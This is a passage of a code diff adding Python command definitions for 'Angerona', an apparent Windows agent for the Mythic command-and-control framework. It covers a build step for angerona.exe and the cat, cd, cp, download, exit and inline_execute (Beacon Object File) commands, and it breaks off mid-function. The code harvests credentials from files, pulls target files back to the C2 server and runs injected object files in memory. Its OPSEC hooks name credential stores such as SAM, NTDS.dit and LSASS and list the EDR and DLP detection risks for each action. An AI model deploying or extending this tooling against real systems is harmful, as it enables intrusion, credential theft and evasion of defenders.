await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Compiling",
StepStdout=f"Error creating Docker Container: {result.stderr}",
StepSuccess=False
))
resp.status = BuildStatus.Error
resp.build_message = f"Error creating Docker Container: {result.stderr}"
return resp
# Get the output from the Docker Container
resp.payload = open(f"{docker_volume_folder}/angerona.exe", "rb").read()
resp.build_message = "Successfully built!"
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Compiling",
StepStdout=f"Successfully built angerona.exe",
StepSuccess=True
))
# Delete Docker Container
delete_container_command = await asyncio.create_subprocess_shell(
" ".join(delete_container_command),
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE
)
remove_tree(docker_volume_folder)
remove_tree(str(self.agent_path))
except Exception as e:
await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage(
PayloadUUID=self.uuid,
StepName="Compiling",
StepStdout=f"Error creating Docker Container: {e}",
StepSuccess=False
))
resp.status = BuildStatus.Error
resp.build_message = f"Error creating Docker Container: {e}"
return resp
return resp
@@ -0,0 +1,157 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class CatArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="file",
type=ParameterType.String,
description="Ruta del archivo a leer",
parameter_group_info=[ParameterGroupInfo(
required=True
)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Se debe indicar un archivo a leer")
self.add_arg("file", self.command_line)
async def parse_dictionary(self, dictionary):
self.load_args_from_dictionary(dictionary)
class CatCommand(CommandBase):
cmd = "cat"
needs_admin = False
help_cmd = "cat <file_path>"
description = "Read and display the contents of a file on the target system. Supports both absolute and relative paths (relative paths are resolved using the current working directory). Automatically detects and extracts credentials from file contents including: plaintext passwords, NTLM hashes (aad3b435b51404ee:hash format), and domain credentials. Detected credentials are automatically added to Mythic's credential store. Useful for reading configuration files, log files, and credential databases."
version = 1
author = "Kaseya OFSTeam"
attackmapping = []
argument_class = CatArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[SupportedOS.Windows],
suggested_command=False
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about file reading risks, especially for sensitive files.
"""
file_path = taskData.args.get_arg("file") or ""
# Sensitive file patterns
sensitive_patterns = {
"sam": "SAM database - Credential extraction heavily monitored",
"system": "SYSTEM hive - Registry access logged",
"security": "SECURITY hive - Security database access logged",
"ntds.dit": "NTDS.dit - Active Directory database, highly monitored",
"lsass": "LSASS memory - Credential extraction heavily monitored",
"passwd": "Password files - Credential access monitored",
"shadow": "Shadow files - Credential access monitored",
"config": "Configuration files - May contain credentials",
}
warnings = []
file_lower = file_path.lower()
for pattern, reason in sensitive_patterns.items():
if pattern in file_lower:
warnings.append(f"🚨 {pattern}: {reason}")
message = "⚠️ OPSEC WARNING - File Read Detected\n\n"
message += "File reading is monitored by:\n"
message += " • EDR/XDR solutions\n"
message += " • Data loss prevention (DLP) systems\n"
message += " • File access monitoring tools\n"
message += " • File access auditing (if enabled)\n\n"
if file_path:
message += f"Target File: {file_path}\n\n"
if warnings:
message += "🚨 SENSITIVE FILE DETECTED:\n"
for warning in warnings:
message += f" {warning}\n"
message += "\n"
message += "🔍 DETECTION RISKS:\n"
message += " • File access events (if auditing enabled)\n"
message += " • Sensitive file patterns (DLP detection)\n"
message += " • Credential detection (if file contains credentials)\n"
message += " • Unusual file access patterns\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • Sensitive files (credentials, databases) are heavily monitored\n"
message += " • Credentials found in file will be automatically reported\n"
message += " • File content may be logged by DLP systems\n\n"
message += "✅ This is a WARNING only - command will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=False,
OpsecPreBypassRole="operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
file_path = taskData.args.get_arg("file") or ""
message = "⚠️ OPSEC POST-CHECK - File Read Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • File Access: Read operations on target file\n"
message += " • File Content: File data retrieved and analyzed\n"
message += " • Credential Detection: Automatic credential scanning (if found)\n"
message += " • File Access Logs: Event logs (if auditing enabled)\n\n"
if file_path:
message += f"Target File: {file_path}\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR file access monitoring\n"
message += " • DLP systems (sensitive file detection)\n"
message += " • File access auditing (if enabled)\n"
message += " • Credential extraction detection\n\n"
message += "⚠️ HIGH DETECTION PROBABILITY IF:\n"
message += " • File contains credentials or sensitive data\n"
message += " • File access auditing is enabled\n"
message += " • DLP rules match file patterns\n"
message += " • File is a security database (SAM, NTDS, etc.)\n\n"
message += "✅ This is a WARNING only - task will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False,
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
"""
Process response from agent.
Note: The cat command automatically detects and reports credentials if found in file content.
"""
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,55 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class CdArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="path",
type=ParameterType.String,
description="Path al que cambiar.",
parameter_group_info=[ParameterGroupInfo(
required=True
)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Es necesario agregar un path.")
self.add_arg("path", self.command_line)
async def parse_dictionary(self, dictionary):
self.load_args_from_dictionary(dictionary)
class CdCommand(CommandBase):
cmd = "cd"
needs_admin = False
help_cmd = "cd <path>"
description = "Change the current working directory for the agent. The new directory path is automatically tracked and displayed in the Mythic UI context tabs. Supports both absolute paths (e.g., 'C:\\Windows\\System32') and relative paths. The current directory is used by other file system commands (cat, download, upload, etc.) when relative paths are provided."
version = 1
author = "Kaseya OFSTeam"
attackmapping = []
argument_class = CdArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
# async def create_tasking(self, task: MythicTask) -> MythicTask:
# task.display_params = task.args.get_arg("command")
# return task
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,183 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class CpArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="fichero existente",
type=ParameterType.String,
description="Ruta del fichero a copiar",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=1
)]
),
CommandParameter(
name="fichero nuevo",
type=ParameterType.String,
description="Ruta del nuevo fichero",
parameter_group_info=[ParameterGroupInfo(
required=True,
ui_position=2
)]
)
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Este comando necesita parametros")
self.add_arg("command", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
self.load_args_from_dictionary(dictionary_arguments)
class CpCommand(CommandBase):
cmd = "cp"
needs_admin = False
help_cmd = "cp <source_path> <destination_path>"
description = "Copy a file from a source location to a destination path on the target system. Supports both absolute and relative paths (relative paths are resolved using the current working directory). The destination file will be overwritten if it already exists. Creates a 'File Write' artifact for the destination file. Useful for creating backups, moving files, or preparing payloads in staging directories."
version = 1
author = "Kaseya OFSTeam"
attackmapping = []
argument_class = CpArguments
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about file copy risks, especially for sensitive files.
"""
source_path = taskData.args.get_arg("fichero existente") or ""
dest_path = taskData.args.get_arg("fichero nuevo") or ""
# Sensitive file patterns
sensitive_patterns = {
"sam": "SAM database - Credential extraction heavily monitored",
"system": "SYSTEM hive - Registry access logged",
"security": "SECURITY hive - Security database access logged",
"ntds.dit": "NTDS.dit - Active Directory database, highly monitored",
"lsass": "LSASS memory - Credential extraction heavily monitored",
}
# Sensitive locations
sensitive_locations = {
"system32": "System32 directory - Highly monitored",
"syswow64": "SysWOW64 directory - Highly monitored",
"windows": "Windows directory - Highly monitored",
}
warnings = []
source_lower = source_path.lower()
dest_lower = dest_path.lower()
for pattern, reason in sensitive_patterns.items():
if pattern in source_lower:
warnings.append(f"🚨 Source contains {pattern}: {reason}")
if pattern in dest_lower:
warnings.append(f"🚨 Destination contains {pattern}: {reason}")
for location, reason in sensitive_locations.items():
if location in source_lower:
warnings.append(f"⚠️ Source: {location} - {reason}")
if location in dest_lower:
warnings.append(f"⚠️ Destination: {location} - {reason}")
message = "⚠️ OPSEC WARNING - File Copy Detected\n\n"
message += "File copying is monitored by:\n"
message += " • EDR/XDR solutions (file operations monitoring)\n"
message += " • Data loss prevention (DLP) systems\n"
message += " • File access auditing (if enabled)\n"
message += " • File integrity monitoring\n\n"
if source_path:
message += f"Source File: {source_path}\n"
if dest_path:
message += f"Destination: {dest_path}\n"
if source_path or dest_path:
message += "\n"
if warnings:
message += "🚨 RISKS DETECTED:\n"
for warning in warnings:
message += f" {warning}\n"
message += "\n"
message += "🔍 DETECTION RISKS:\n"
message += " • File read/write events (if auditing enabled)\n"
message += " • Sensitive file patterns (DLP detection)\n"
message += " • File operations monitoring\n"
message += " • System file modification detection\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • Copying sensitive files (credentials, databases) is monitored\n"
message += " • System directories are highly monitored\n"
message += " • File operations may be logged\n\n"
message += "✅ This is a WARNING only - command will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=False,
OpsecPreBypassRole="operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
source_path = taskData.args.get_arg("fichero existente") or ""
dest_path = taskData.args.get_arg("fichero nuevo") or ""
message = "⚠️ OPSEC POST-CHECK - File Copy Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • File Read: Read operations on source file\n"
message += " • File Write: Write operations to destination\n"
message += " • File Copy: CopyFile API calls\n"
message += " • File Access Logs: Event logs (if auditing enabled)\n\n"
if source_path:
message += f"Source File: {source_path}\n"
if dest_path:
message += f"Destination: {dest_path}\n"
if source_path or dest_path:
message += "\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR file operation monitoring\n"
message += " • DLP systems (sensitive file detection)\n"
message += " • File access auditing (if enabled)\n"
message += " • File integrity monitoring\n\n"
message += "⚠️ HIGH DETECTION PROBABILITY IF:\n"
message += " • Source or destination contains sensitive files\n"
message += " • Copying to/from system directories\n"
message += " • File access auditing is enabled\n"
message += " • DLP rules match file patterns\n\n"
message += "✅ This is a WARNING only - task will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False,
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,150 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
class DownloadArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="file",
type=ParameterType.String,
description="Path to the file to download from the target",
parameter_group_info=[ParameterGroupInfo(
required=True
)]
),
]
async def parse_arguments(self):
if len(self.command_line) == 0:
raise ValueError("Must supply a path to download")
self.add_arg("file", self.command_line)
async def parse_dictionary(self, dictionary_arguments):
if "file" in dictionary_arguments:
self.add_arg("file", dictionary_arguments["file"])
class DownloadCommand(CommandBase):
cmd = "download"
needs_admin = False
help_cmd = "download <file_path>"
description = "Download a file from the target system to the Mythic server. Supports files up to 2GB in size. Files are transferred in 512KB chunks for efficient transmission. Supports both absolute and relative paths (relative paths are resolved using the current working directory). Compatible with Mythic File Browser for interactive file selection. Large files or sensitive files may trigger detection by EDR/XDR solutions and data loss prevention (DLP) systems."
version = 1
supported_ui_features = ["file_browser:download"]
author = "@KaseyaOFSTeam"
argument_class = DownloadArguments
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows]
)
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about file download risks.
"""
file_path = taskData.args.get_arg("file") or ""
# Sensitive file patterns
sensitive_patterns = {
"sam": "SAM database - Credential extraction heavily monitored",
"system": "SYSTEM hive - Registry access logged",
"security": "SECURITY hive - Security database access logged",
"ntds.dit": "NTDS.dit - Active Directory database, highly monitored",
"lsass": "LSASS memory - Credential extraction heavily monitored",
"passwd": "Password files - Credential access monitored",
"shadow": "Shadow files - Credential access monitored",
}
warnings = []
file_lower = file_path.lower()
for pattern, reason in sensitive_patterns.items():
if pattern in file_lower:
warnings.append(f"🚨 {pattern}: {reason}")
message = "⚠️ OPSEC WARNING - File Download Detected\n\n"
message += "File downloads are monitored by:\n"
message += " • EDR/XDR solutions\n"
message += " • Data loss prevention (DLP) systems\n"
message += " • File access monitoring tools\n"
message += " • Network monitoring (large file transfers)\n\n"
if file_path:
message += f"Target File: {file_path}\n\n"
if warnings:
message += "🚨 SENSITIVE FILE DETECTED:\n"
for warning in warnings:
message += f" {warning}\n"
message += "\n"
message += "🔍 DETECTION RISKS:\n"
message += " • File access events (if auditing enabled)\n"
message += " • Large file transfers (network monitoring)\n"
message += " • Sensitive file patterns (DLP detection)\n"
message += " • Unusual file access patterns\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • Sensitive files (credentials, databases) are heavily monitored\n"
message += " • Large files may trigger network alerts\n"
message += " • Multiple downloads may be suspicious\n\n"
message += "✅ This is a WARNING only - command will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=False,
OpsecPreBypassRole="operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
file_path = taskData.args.get_arg("file") or ""
message = "⚠️ OPSEC POST-CHECK - File Download Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • File Access: Read operations on target file\n"
message += " • Network Activity: File data transmission to Mythic\n"
message += " • File Access Logs: Event logs (if auditing enabled)\n\n"
if file_path:
message += f"Target File: {file_path}\n\n"
message += "🔍 DETECTION RISKS:\n"
message += " • EDR/XDR file access monitoring\n"
message += " • DLP systems (sensitive file detection)\n"
message += " • Network monitoring (large transfers)\n"
message += " • File access auditing (if enabled)\n\n"
message += "⚠️ HIGH DETECTION PROBABILITY IF:\n"
message += " • File contains credentials or sensitive data\n"
message += " • File is large (network anomaly detection)\n"
message += " • File access auditing is enabled\n"
message += " • DLP rules match file patterns\n\n"
message += "✅ This is a WARNING only - task will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPostTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPostBlocked=False,
OpsecPostBypassRole="operator",
OpsecPostMessage=message
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
return resp
@@ -0,0 +1,46 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
class ExitArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = []
async def parse_arguments(self):
if len(self.command_line) > 0:
raise Exception("Exit command takes no parameters.")
class ExitCommand(CommandBase):
cmd = "exit"
needs_admin = False
help_cmd = "exit"
description = "Instruct the agent to exit and terminate. The agent will perform cleanup operations and then terminate its process. This command is permanent - the agent will stop running and will not check in again. Use this command when you want to remove the agent from the target system or when operational requirements dictate agent termination. Compatible with Mythic's callback table exit functionality."
version = 1
is_exit = True # Important: marks this as an exit command (like Athena)
supported_ui_features = ["callback_table:exit"]
author = "Kaseya OFSTeam"
argument_class = ExitArguments
attackmapping = []
attributes = CommandAttributes(
supported_os=[SupportedOS.Windows],
builtin=True
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
# Don't mark as completed immediately - let the agent send the response
# This follows Xenon and Athena's pattern
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
# Mark task as completed explicitly when we receive the response
resp.Completed = True
return resp
@@ -0,0 +1,380 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
# Completion callback for BOF execution
async def coff_completion_callback(completionMsg: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse:
try:
out = ""
response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True)
# Get parent task ID
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
if not parent_task_id:
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No parent task ID found")
# Get subtask ID
subtask_id = None
if hasattr(completionMsg, 'SubtaskData') and completionMsg.SubtaskData:
if hasattr(completionMsg.SubtaskData, 'Task') and completionMsg.SubtaskData.Task:
subtask_id = completionMsg.SubtaskData.Task.ID
if not subtask_id:
# Try alternative attribute names
if hasattr(completionMsg, 'Subtask') and completionMsg.Subtask:
if hasattr(completionMsg.Subtask, 'ID'):
subtask_id = completionMsg.Subtask.ID
elif hasattr(completionMsg.Subtask, 'TaskID'):
subtask_id = completionMsg.Subtask.TaskID
if not subtask_id:
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response="[ERROR] No subtask ID found in completion message"
))
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error="No subtask ID found")
# Search for responses from the subtask
responses = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage(TaskID=subtask_id))
if not responses.Success:
error_detail = getattr(responses, 'Error', 'Unknown error') if hasattr(responses, 'Error') else 'Unknown error'
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=f"[ERROR] Failed to search responses for subtask {subtask_id}: {error_detail}"
))
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=error_detail)
# Process responses if they exist
responses_list = None
if hasattr(responses, 'Responses'):
responses_list = responses.Responses
elif hasattr(responses, 'responses'):
responses_list = responses.responses
elif hasattr(responses, 'Response'):
responses_list = [responses.Response] if responses.Response else []
if responses_list:
for output in responses_list:
if hasattr(output, 'Response'):
out += str(output.Response)
elif hasattr(output, 'response'):
out += str(output.response)
elif hasattr(output, 'Message'):
out += str(output.Message)
elif hasattr(output, 'message'):
out += str(output.message)
elif isinstance(output, str):
out += output
elif isinstance(output, bytes):
out += output.decode('utf-8', errors='ignore')
else:
out += str(output)
# If no output was found, indicate successful execution
if not out:
out = "[BOF executed successfully but produced no output]"
# Send the aggregated output back to the parent task
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=out
))
return response
except Exception as e:
import traceback
error_msg = f"[ERROR] Exception in coff_completion_callback: {str(e)}\n{traceback.format_exc()}"
try:
parent_task_id = completionMsg.TaskData.Task.ID if completionMsg.TaskData and completionMsg.TaskData.Task else None
if parent_task_id:
await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage(
TaskID=parent_task_id,
Response=error_msg
))
except:
pass # If we can't send the error, at least return failure
return PTTaskCompletionFunctionMessageResponse(Success=False, TaskStatus="error", Completed=True, Error=str(e))
class InlineExecuteArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="bof_name",
cli_name="BOF",
display_name="BOF",
type=ParameterType.ChooseOne,
dynamic_query_function=self.get_files,
description="Already existing BOF to execute (e.g. whoami.x64.o)",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="Default",
ui_position=1
)
]
),
CommandParameter(
name="bof_file",
display_name="New BOF",
type=ParameterType.File,
description="A new BOF to execute. After uploading once, you can just supply the bof_name parameter",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="New",
ui_position=1,
)
]
),
CommandParameter(
name="bof_arguments",
cli_name="Arguments",
display_name="Arguments",
type=ParameterType.TypedArray,
default_value=[],
choices=["int16", "int32", "string", "wchar", "base64", "bytes"],
description="""Arguments to pass to the BOF via the following way:
-s:123 or int16:123
-i:123 or int32:123
-z:hello or string:hello
-Z:hello or wchar:hello
-b:abc== or base64:abc==
bytes:hexstring (hexadecimal string of bytes)""",
typedarray_parse_function=self.get_arguments,
parameter_group_info=[
ParameterGroupInfo(
required=False,
group_name="Default",
ui_position=4
),
ParameterGroupInfo(
required=False,
group_name="New",
ui_position=4
),
]
),
]
async def parse_arguments(self):
# This is only called when user types command directly
# Subtasks use parse_dictionary instead
if len(self.command_line) > 0:
raise ValueError("Must supply named arguments or use the modal")
# If command_line is empty, do nothing (subtask will use parse_dictionary)
async def parse_dictionary(self, dictionary_arguments):
# Allowed argument keys
expected_args = {"bof_arguments", "bof_file", "bof_name"}
# Check if dictionary contains only allowed keys
invalid_keys = set(dictionary_arguments.keys()) - expected_args
if invalid_keys:
raise ValueError(f"Invalid arguments provided: {', '.join(invalid_keys)}")
# Load only allowed arguments
filtered_arguments = {k: v for k, v in dictionary_arguments.items() if k in expected_args}
self.load_args_from_dictionary(filtered_arguments)
async def get_arguments(self, arguments: PTRPCTypedArrayParseFunctionMessage) -> PTRPCTypedArrayParseFunctionMessageResponse:
argumentSplitArray = []
for argValue in arguments.InputArray:
argSplitResult = argValue.split(" ")
for spaceSplitArg in argSplitResult:
argumentSplitArray.append(spaceSplitArg)
bof_arguments = []
for argument in argumentSplitArray:
if ":" not in argument:
continue
argType,value = argument.split(":",1)
value = value.strip("\'").strip("\"")
if argType == "":
pass
elif argType == "int16" or argType == "-s" or argType == "s":
bof_arguments.append(["int16", int(value)])
elif argType == "int32" or argType == "-i" or argType == "i":
bof_arguments.append(["int32", int(value)])
elif argType == "string" or argType == "-z" or argType == "z":
bof_arguments.append(["string",value])
elif argType == "wchar" or argType == "-Z" or argType == "Z":
bof_arguments.append(["wchar",value])
elif argType == "base64" or argType == "-b" or argType == "b":
bof_arguments.append(["base64",value])
elif argType == "bytes":
# bytes type expects a hexadecimal string
bof_arguments.append(["bytes",value])
else:
return PTRPCTypedArrayParseFunctionMessageResponse(Success=False,
Error=f"Failed to parse argument: {argument}: Unknown value type.")
argumentResponse = PTRPCTypedArrayParseFunctionMessageResponse(Success=True, TypedArray=bof_arguments)
return argumentResponse
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
response = PTRPCDynamicQueryFunctionMessageResponse()
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
CallbackID=callback.Callback,
LimitByCallback=False,
IsDownloadFromAgent=False,
IsScreenshot=False,
IsPayload=False,
Filename="",
))
if file_resp.Success:
file_names = []
for f in file_resp.Files:
if f.Filename not in file_names and f.Filename.endswith(".o"):
file_names.append(f.Filename)
response.Success = True
response.Choices = file_names
return response
else:
await SendMythicRPCOperationEventLogCreate(MythicRPCOperationEventLogCreateMessage(
CallbackId=callback.Callback,
Message=f"Failed to get files: {file_resp.Error}",
MessageLevel="warning"
))
response.Error = f"Failed to get files: {file_resp.Error}"
return response
class InlineExecuteCommand(CommandBase):
cmd = "inline_execute"
needs_admin = False
help_cmd = "inline_execute -BOF [COFF.o] [-Arguments [optional arguments]]"
description = "Execute a Beacon Object File in the current process thread. (e.g., inline_execute -BOF listmods.x64.o -Arguments int32:1234) \n [!!WARNING!! Incorrect argument types can crash the Agent process.]"
version = 1
author = "@c0rnbread (adapted for Angerona)"
attackmapping = []
argument_class = InlineExecuteArguments
completion_functions = {"coff_completion_callback": coff_completion_callback}
attributes = CommandAttributes(
builtin=False,
supported_os=[ SupportedOS.Windows ],
suggested_command=False
)
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
response = PTTaskCreateTaskingMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
)
try:
groupName = taskData.args.get_parameter_group_name()
# Check if bof_file is provided (from subtask or "New" group)
if taskData.args.get_arg("bof_file"):
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
AgentFileID=taskData.args.get_arg("bof_file")
))
if file_resp.Success:
if len(file_resp.Files) > 0:
# Set display parameters
if groupName != "New": # Don't override if already set
response.DisplayParams = "-bof_file {} -bof_arguments {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("bof_arguments")
)
else:
raise Exception("Failed to find that file")
else:
raise Exception("Error from Mythic trying to get file: " + str(file_resp.Error))
elif groupName == "Default" or taskData.args.get_arg("bof_name"):
# We're trying to find an already existing file and use that
file_resp = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage(
TaskID=taskData.Task.ID,
Filename=taskData.args.get_arg("bof_name"),
LimitByCallback=False,
MaxResults=1
))
if file_resp.Success:
if len(file_resp.Files) > 0:
taskData.args.add_arg("bof_file", file_resp.Files[0].AgentFileId)
taskData.args.remove_arg("bof_name") # Don't need this anymore
# Set display parameters
response.DisplayParams = "-bof_file {} -bof_arguments {}".format(
file_resp.Files[0].Filename,
taskData.args.get_arg("bof_arguments")
)
elif len(file_resp.Files) == 0:
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
else:
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
else:
raise Exception("Either bof_name or bof_file must be provided")
except Exception as e:
raise Exception("Error from Mythic: " + str(e))
return response
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
"""
OPSEC check before creating the task.
Warns about BOF execution risks.
"""
message = "⚠️ OPSEC WARNING - BOF Execution Detected\n\n"
message += "BOF (Beacon Object File) execution is monitored by:\n"
message += " • EDR/XDR solutions (memory allocation monitoring)\n"
message += " • API call monitoring (LoadLibraryA, GetProcAddress)\n"
message += " • Memory scanning (executable page allocation)\n"
message += " • Symbol resolution tracking\n\n"
message += "🔍 DETECTION MECHANISMS:\n"
message += " • PAGE_EXECUTE_READWRITE memory allocation\n"
message += " • External symbol resolution (LoadLibraryA/GetProcAddress)\n"
message += " • COFF loader activity patterns\n"
message += " • Beacon API function calls\n\n"
message += "💡 CONSIDERATIONS:\n"
message += " • In-process execution reduces some detection vectors (no new process)\n"
message += " • Better OPSEC than `shell` (no cmd.exe spawn)\n"
message += " • Memory allocation may be scanned by EDR\n"
message += " • API calls may be logged by security tools\n\n"
message += "⚠️ DETECTION RISK: MEDIUM\n"
message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n"
message += "✅ This is a WARNING only - command will proceed.\n"
message += "Ensure you understand the detection risks before continuing."
return PTTTaskOPSECPreTaskMessageResponse(
TaskID=taskData.Task.ID,
Success=True,
OpsecPreBlocked=False, # Medium risk, don't block
OpsecPreBypassRole="operator",
OpsecPreMessage=message
)
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
"""
OPSEC check after creating the task.
Warns about artifacts that will be created.
"""
message = "⚠️ OPSEC POST-CHECK - BOF Execution Artifacts\n\n"
message += "This task will create the following artifacts:\n"
message += " • Process Create: BOF execution in current process\n"
message += " • Memory Allocation: Executable memory pages (PAGE_EXECUTE_READWRITE)\n"
